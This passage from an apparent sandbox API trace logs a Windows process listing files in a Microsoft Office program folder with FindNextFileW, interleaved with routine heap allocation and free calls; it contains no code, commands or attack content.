ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0048.526] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.526] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.527] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.528] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.540] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.540] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.541] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.541] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0048.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0048.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9b20 [0048.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea628 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.543] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) 